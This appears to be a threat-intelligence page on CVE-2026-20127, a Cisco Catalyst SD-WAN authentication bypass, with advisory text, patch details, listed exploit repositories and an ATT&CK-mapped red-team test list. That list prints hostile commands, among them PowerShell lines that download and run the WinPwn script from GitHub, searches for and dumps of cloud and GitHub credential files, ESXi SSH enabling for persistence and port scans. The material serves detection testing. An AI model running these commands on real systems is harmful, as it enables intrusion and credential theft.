CVE-2026-20127

CRITICAL CISA KEV EXPLOIT POC TTE Zero-Day Pub 25/02 Upd 16/06

Overview

This vulnerability is an authentication bypass affecting the peering authentication mechanism in Cisco Catalyst SD-WAN Controller and Manager components. The root cause lies in improper validation of authentication requests during the peering process, which fails to enforce correct credentials. This flaw resides specifically within the peering authentication subsystem responsible for establishing trust between SD-WAN nodes.

Vulnerability Description

A vulnerability in the peering authentication in Cisco Catalyst SD-WAN Controller, formerly SD-WAN vSmart, Cisco Catalyst SD-WAN Manager, formerly SD-WAN vManage, and Cisco Catalyst SD-WAN Validator, formerly SD-WAN vBond, could allow an unauthenticated, remote attacker to bypass authentication and obtain administrative privileges on an affected system. This vulnerability exists because the peering authentication mechanism in an affected system is not working properly. An attacker could exploit this vulnerability by sending crafted requests to an affected system. A successful exploit could allow the attacker to log in to an affected Cisco Catalyst SD-WAN Controller as an internal, high-privileged, non-root user account. Using this account, the attacker could access NETCONF, which would then allow the attacker to manipulate network configuration for the SD-WAN fabric. 

Impact

An unauthenticated remote attacker can exploit this flaw to gain administrative-level access to the affected Cisco Catalyst SD-WAN system. With this access, the attacker can manipulate network configurations via NETCONF, potentially disrupting SD-WAN fabric operations or redirecting traffic. No prior authentication or user interaction is required, enabling full system compromise and lateral movement within the network infrastructure managed by the vulnerable SD-WAN components.

Solution

Cisco has released security updates addressing this vulnerability in Cisco Catalyst SD-WAN Manager version 20.12.6 and later. Administrators should apply the patches as detailed in Cisco Security Advisory cisco-sa-sdwan-rpa-EHchtZk available at https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-rpa-EHchtZk. Following the vendor guidance ensures the authentication mechanism is properly enforced, mitigating the risk of unauthorized access.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

A critical vulnerability exists within the peering authentication mechanism of the Cisco Catalyst SD-WAN Controller and SD-WAN Manager, which could allow an unauthenticated remote attacker to bypass authentication protocols. This flaw stems from improper functioning of the authentication system, enabling attackers to send specially crafted requests to the affected devices. If successfully exploited, the attacker could gain access to the system as a high-privileged non-root user account. This access would permit manipulation of the network configuration through NETCONF, a protocol used for managing network devices, thereby compromising the integrity and security of the entire SD-WAN fabric.

The attack vectors associated with this vulnerability are particularly concerning due to the ease with which an attacker could exploit them. An attacker could initiate a remote attack without requiring any form of authentication, making it accessible to individuals with minimal technical expertise. By crafting specific requests that exploit the authentication flaw, the attacker could effectively impersonate an internal user, gaining unauthorized access to sensitive configurations and controls. This could lead to a range of malicious activities, such as altering routing policies, intercepting data traffic, or even launching further attacks on connected systems. The potential for lateral movement within the network increases the severity of the threat, as the attacker could pivot to other critical systems once inside the SD-WAN environment.

The real-world implications of this vulnerability are significant, particularly for organizations relying on Cisco's SD-WAN solutions for their network infrastructure. The ability to manipulate network configurations could lead to severe disruptions in service, data breaches, and unauthorized access to sensitive information. Businesses could face operational downtime, financial losses, and reputational damage as a result of such an incident. Furthermore, regulatory compliance issues may arise if sensitive data is compromised, leading to legal repercussions and potential fines. The high CVSS score of 10.0 underscores the critical nature of this vulnerability, indicating that organizations must prioritize its remediation to safeguard their networks.

Detection and mitigation strategies for this vulnerability should focus on both proactive and reactive measures. Organizations should conduct regular security assessments and penetration testing to identify potential weaknesses in their SD-WAN infrastructure. Implementing robust logging and monitoring solutions can help detect unusual access patterns or unauthorized configuration changes, enabling timely responses to potential threats. Additionally, organizations should ensure that all affected products are updated to the latest versions, which may include patches or fixes addressing the authentication flaw. Employing network segmentation can also limit the potential impact of an exploit, reducing the attack surface and containing any breaches that may occur.

In conclusion, the vulnerability in the peering authentication mechanism of the Cisco Catalyst SD-WAN Controller and Manager presents a serious risk to organizations utilizing these products. The ease of exploitation, coupled with the potential for significant impact, necessitates immediate attention from cybersecurity professionals. By implementing effective detection and mitigation strategies, organizations can better protect their networks from unauthorized access and maintain the integrity of their SD-WAN environments. As the threat landscape continues to evolve, staying vigilant and proactive in addressing such vulnerabilities is essential for safeguarding critical infrastructure.




CSURFACE threat intelligence has identified a significant increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2026-20127, rising by over 80% to place this vulnerability near the top percentile of likely exploitation. This shift coincides with the emergence of multiple new proof-of-concept exploits publicly available on prominent code repositories, broadening the exploit landscape and lowering the technical barrier for adversaries. Despite a noticeable decline in detection activity across our telemetry, the expanded availability of exploitation tools suggests that threat actors are refining their capabilities, potentially adopting more covert or targeted approaches. While no confirmed ransomware campaigns have been linked to this vulnerability, the association with the akira group remains under observation. Collectively, these developments elevate the threat level, underscoring an increased risk of unauthorized administrative access via authentication bypass in Cisco Catalyst SD-WAN environments. Defenders should recognize that the vulnerability’s exploitation likelihood has materially increased, warranting heightened vigilance even as direct detection signals appear subdued.



Update 2 — July 05, 2026

CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2026-20127, reflected by a sharp increase in telemetry activity. This surge coincides with the emergence of several new proof-of-concept exploits publicly available on multiple platforms, broadening the accessibility of attack tools to a wider range of threat actors. Although ransomware campaigns remain unconfirmed, the persistent association with the akira group continues to warrant close monitoring, as their tactics could evolve to incorporate this vulnerability more aggressively. The elevated exploitation activity signals a heightened risk of unauthorized administrative access via authentication bypass in Cisco Catalyst SD-WAN environments. Consequently, the threat level has increased from high to critical, underscoring the urgency for defenders to intensify detection and response efforts despite the absence of confirmed ransomware deployment.

Affected Products (10)

Vendor Product Version CPE
cisco Cisco Catalyst Sd-Wan Manager All cpe:2.3:a:cisco:catalyst_sd-wan_manager:*:*:*:*:*:*:*:*
cisco Cisco Catalyst Sd-Wan Manager All cpe:2.3:a:cisco:catalyst_sd-wan_manager:*:*:*:*:*:*:*:*
cisco Cisco Catalyst Sd-Wan Manager All cpe:2.3:a:cisco:catalyst_sd-wan_manager:*:*:*:*:*:*:*:*
cisco Cisco Catalyst Sd-Wan Manager All cpe:2.3:a:cisco:catalyst_sd-wan_manager:*:*:*:*:*:*:*:*
cisco Cisco Catalyst Sd-Wan Manager 20.12.6 cpe:2.3:a:cisco:catalyst_sd-wan_manager:20.12.6:*:*:*:*:*:*:*
cisco Cisco Sd-Wan Vsmart Controller All cpe:2.3:a:cisco:sd-wan_vsmart_controller:*:*:*:*:*:*:*:*
cisco Cisco Sd-Wan Vsmart Controller All cpe:2.3:a:cisco:sd-wan_vsmart_controller:*:*:*:*:*:*:*:*
cisco Cisco Sd-Wan Vsmart Controller All cpe:2.3:a:cisco:sd-wan_vsmart_controller:*:*:*:*:*:*:*:*
cisco Cisco Sd-Wan Vsmart Controller All cpe:2.3:a:cisco:sd-wan_vsmart_controller:*:*:*:*:*:*:*:*
cisco Cisco Sd-Wan Vsmart Controller 20.12.6 cpe:2.3:a:cisco:sd-wan_vsmart_controller:20.12.6:*:*:*:*:*:*:*
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

Metasploit (1)

Module Authors Rank Platform Link
Cisco Catalyst SD-WAN Controller Authentication Bypass
auxiliary/admin/networking/cisco_sdwan_auth_bypass
sfewer-r7 Unknown - View

GitHub PoCs (9)

Repository Author Stars Forks Date Link
zerozenxlabs/CVE-2026-20127---Cisco-SD-WAN-Preauth-RCE
zerozenxlabs 31 10 2026-03-04 View
sfewer-r7/CVE-2026-20127
An exploit for the Cisco Catalyst SD-WAN Controller authentication bypass vulnerability, CVE-2026-20127
sfewer-r7 23 1 2026-03-09 View
BugFor-Pings/CVE-2026-20127_EXP
Cisco Catalyst SD-WAN 身份验证绕过漏洞(CVE-2026-20127)利用EXP
BugFor-Pings 4 2 2026-03-05 View
yonathanpy/CVE-2026-20127-Cisco-SD-WAN-Preauth-RCE
yonathanpy 2 1 2026-03-07 View
gigachadusers/cve-2026-20127
gigachadusers 1 0 2026-04-15 View
0xBlackash/CVE-2026-20127
CVE-2026-20127
0xBlackash 0 0 2026-06-14 View
PoC
- 0 0 - View
randeepajayasekara/CVE-2026-20127
Walkthrough of the CVSS 10.0 authentication bypass in Cisco Catalyst SD-WAN from first malformed peering request to root...
randeepajayasekara 0 0 2026-03-04 View
abrahamsurf/sdwan-scanner-CVE-2026-20127
Cisco SD-WAN Exposure & Potential Vulnerability Scanner (Passive Fingerprinting) 2026
abrahamsurf 0 0 2026-03-08 View
Exploited in Wild CONFIRMED
Ransomware IN USE
Attacker Interest MEDIUM
Sightings Some sightings

Threat Feed

22 events
2026-06-29
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-10
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-05
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-15
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-16
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-15
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-05
Exploited by akira

Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1529 known victims)

2026-04-03
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-02
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-03-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-03-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-03-13
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-03-12
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-03-10
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-03-09
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-03-08
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-03-07
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-03-04
PoC Published (9 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

2026-02-25
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

2026-02-25
Exploit Published (0 ExploitDB, 1 Metasploit)

Public exploit code is available for this vulnerability

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Authentication Bypass
100% auth_bypass
Insecure Direct Object Reference
75% idor
hardcoded_credentials
49% hardcoded_credentials
Privilege Escalation
35% privilege_escalation

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-22 Exploiting Trust in Client
43%
High High
CAPEC-114 Authentication Abuse
33%
Medium
CAPEC-633 Token Impersonation
33%
Medium
CAPEC-593 Session Hijacking
33%
High Very High
CAPEC-650 Upload a Web Shell to a Web Server
33%
High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (3)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2026-20127
sec.cloudapps.cisco.com
GitHub CVE
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-rpa-EHchtZk
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-20127